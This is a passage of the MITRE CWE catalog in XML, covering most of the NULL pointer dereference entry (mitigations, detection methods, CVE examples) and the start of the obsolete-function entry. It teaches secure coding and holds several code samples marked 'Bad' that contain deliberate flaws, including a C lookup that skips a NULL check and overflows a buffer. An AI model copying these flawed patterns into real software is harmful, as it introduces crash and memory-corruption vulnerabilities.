               <Description>NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.</Description>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
            <Language Name="Go" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>NPD</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>null deref</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>nil pointer dereference</Term>
               <Description>used for access of nil in Go programs</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Note>In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-2">
               <Method>Automated Dynamic Analysis</Method>
               <Description>This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.</Description>
               <Effectiveness>Moderate</Effectiveness>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-12">
               <Method>Manual Dynamic Analysis</Method>
               <Description>Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.</Description>
            </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>The choice could be made to use a language that is not susceptible to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check the results of all functions that return a value and verify that the value is non-null before acting upon it.</Description>
               <Effectiveness>Moderate</Effectiveness>
               <Effectiveness_Notes>Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.</Intro_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>if (pointer1 != NULL) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* make use of pointer1 */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* ... */</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().</Body_Text>
               <Body_Text>Note that this code is also vulnerable to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String cmd = System.getProperty("cmd");<xhtml:br/>cmd = cmd.trim();</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-110">
               <Intro_Text>This Android application has registered to handle a URL when sent an intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class UrlHandlerReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if("com.example.URLHandler.openURL".equals(intent.getAction())) {<xhtml:div style="margin-left:1em;">String URL = intent.getStringExtra("URLToOpen");<xhtml:br/>int length = URL.length();</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>...</xhtml:i>
                                 <xhtml:br/>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Consider the following example of a typical client server exchange. The HandleRequest function is intended to perform a request and use a defer to close the connection whenever the function returns.</Intro_Text>
               <Example_Code Nature="Bad" Language="Go">
                  <xhtml:div>func HandleRequest(client http.Client, request *http.Request) (*http.Response, error) {
                     <xhtml:div style="margin-left:1em;">
                        response, err := client.Do(request)<xhtml:br/>
                        defer response.Body.Close()<xhtml:br/>
                        if err != nil {
                           <xhtml:div style="margin-left:1em;">
                              return nil, err<xhtml:br/>
                           </xhtml:div>
                        }<xhtml:br/>...<xhtml:br/></xhtml:div>
                     }</xhtml:div>
               </Example_Code>
               <Body_Text>If a user supplies a malformed request or violates the client policy, the Do method can return a nil response and a non-nil err.</Body_Text>
               <Body_Text>This HandleRequest Function evaluates the close before checking the error. A deferred call's arguments are evaluated immediately, so the defer statement panics due to a nil response.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-3274</Reference>
               <Description>race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3274</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1912</Reference>
               <Description>large number of packets leads to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1912</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0772</Reference>
               <Description>packet with invalid error status value triggers NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0772</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-4895</Reference>
               <Description>Chain: race condition for an argument value, possibly resulting in NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-4895</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-29652</Reference>
               <Description>ssh component for Go allows clients to cause a denial of service (nil pointer dereference) against SSH servers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-29652</Link>
            </Observed_Example>
	   <Observed_Example>
	     <Reference>CVE-2009-2692</Reference>
	     <Description>Chain: Use of an unimplemented network socket operation pointing to an uninitialized handler function (CWE-456) causes a crash because of a null pointer dereference (CWE-476).</Description>
	     <Link>https://www.cve.org/CVERecord?id=CVE-2009-2692</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3547</Reference>
               <Description>Chain: race condition might allow resource to be released before operating on it, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3547</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3620</Reference>
               <Description>Chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3620</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2698</Reference>
               <Description>Chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2698</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2692</Reference>
               <Description>Chain: uninitialized function pointers can be dereferenced allowing code execution</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2692</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0949</Reference>
               <Description>Chain: improper initialization of memory can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3597</Reference>
               <Description>Chain: game server can access player data structures before initialization has happened leading to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3597</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-6078</Reference>
               <Description>Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-6078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0062</Reference>
               <Description>Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0062</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5183</Reference>
               <Description>Chain: unchecked return value can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5183</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0079</Reference>
               <Description>SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0079</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0365</Reference>
               <Description>Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0365</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1013</Reference>
               <Description>Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1013</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1000</Reference>
               <Description>Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1000</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0389</Reference>
               <Description>Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0389</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0119</Reference>
               <Description>OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0119</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0458</Reference>
               <Description>Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0458</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0401</Reference>
               <Description>Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0401</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Null Dereference</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Null-pointer dereference</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Null Dereference (Null Pointer Dereference)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP34-C</Entry_ID>
               <Entry_Name>Do not dereference null pointers</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP7</Entry_ID>
               <Entry_Name>Faulty Pointer Use</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-1031"/>
            <Reference External_Reference_ID="REF-1032"/>
            <Reference External_Reference_ID="REF-1033"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Other_Notes, Potential_Mitigations, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Alternate_Terms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="477" Name="Use of Obsolete Function" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.</Description>
         <Extended_Description>
            <xhtml:p>As programming languages evolve, functions occasionally become obsolete due to:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Advances in the language</xhtml:li>
                  <xhtml:li>Improved understanding of how operations should be performed effectively and securely</xhtml:li>
                  <xhtml:li>Changes in the conventions that govern certain operations</xhtml:li>
               </xhtml:ul>
            <xhtml:p>Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Quality Degradation</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode Quality Analysis</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Debugger</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source Code Quality Analyzer</xhtml:li>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Origin Analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
